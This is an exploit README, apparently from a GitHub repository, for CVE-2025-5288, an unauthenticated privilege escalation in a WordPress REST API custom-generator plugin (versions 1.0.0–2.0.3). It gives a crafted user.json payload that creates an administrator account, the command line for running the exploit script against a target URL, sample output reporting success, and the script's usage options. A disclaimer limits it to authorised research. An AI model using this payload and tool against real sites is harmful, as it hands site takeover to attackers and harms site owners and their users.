nxploited/cve-2025-5288Wordpress REST API | Generador de API personalizado para multiplataforma e importación/exportación en WP 1.0.0 - 2.0.3 - Falta de autorización para escalada de privilegios no autenticada
El plugin REST API | Custom API Generator For Cross Platform And Import Export In WP para WordPress es vulnerable a la escalada de privilegios debido a una verificación de capacidad faltante en la función process_handler() en las versiones 1.0.0 a 2.0.3.
Esto permite a atacantes no autenticados enviar un archivo user.json especialmente diseñado a un endpoint expuesto y crear una nueva cuenta de Administrador.
[
{
"author_data": {
"post_author": "Nxploited",
"post_author_email": "[email protected]",
"post_author_role": "administrator"
},
"title": "Nxploited (Khaled_alenazi)",
"content": "Nxploited (Khaled_alenazi)"
}
]
python3 CVE-2025-5288.py -u http://192.168.100.74:888/wordpress/ -json http://192.168.100.74:888/user.json
[+] Target appears vulnerable (version: 2.0.3) - exploiting...
[*] Fetching JSON payload from: http://192.168.100.74:888/user.json
[+] JSON content loaded successfully:
[1] {
"author_data": {
"post_author": "Nxploited",
"post_author_email": "[email protected]",
"post_author_role": "administrator"
},
"title": "Nxploited (Khaled_alenazi)",
"content": "Nxploited (Khaled_alenazi)"
}
[*] Launching exploitation...
[+] Exploit delivered successfully.
[+] Payload Sent:
[
{
"author_data": {
"post_author": "Nxploited",
"post_author_email": "[email protected]",
"post_author_role": "administrator"
},
"title": "Nxploited (Khaled_alenazi)",
"content": "Nxploited (Khaled_alenazi)"
}
]
usage: CVE-2025-5288.py [-h] -u URL -json URL_JSON [--proxy PROXY] [--timeout TIMEOUT] [--no-verify] [--no-sleep] [--debug]
Unauthenticated Privilege Escalation - by Khaled Alenazi (Nxploited)
options:
-h, --help show this help message and exit
-u, --url URL Base URL of WordPress site (e.g., http://target/wp/)
-json, --url_json URL_JSON
URL to hosted R.json payload
--proxy PROXY Proxy URL (e.g., http://127.0.0.1:8080)
--timeout TIMEOUT HTTP timeout in seconds (default: 10)
--no-verify Disable SSL certificate verification (NOT recommended!)
--no-sleep Disable sleep delays for faster execution
--debug Enable debug output
Esta herramienta es solo para fines educativos y de investigación de seguridad autorizada. El acceso no autorizado a sistemas sin permiso es ilegal.
Por: Nxploited (Khaled_alenazi)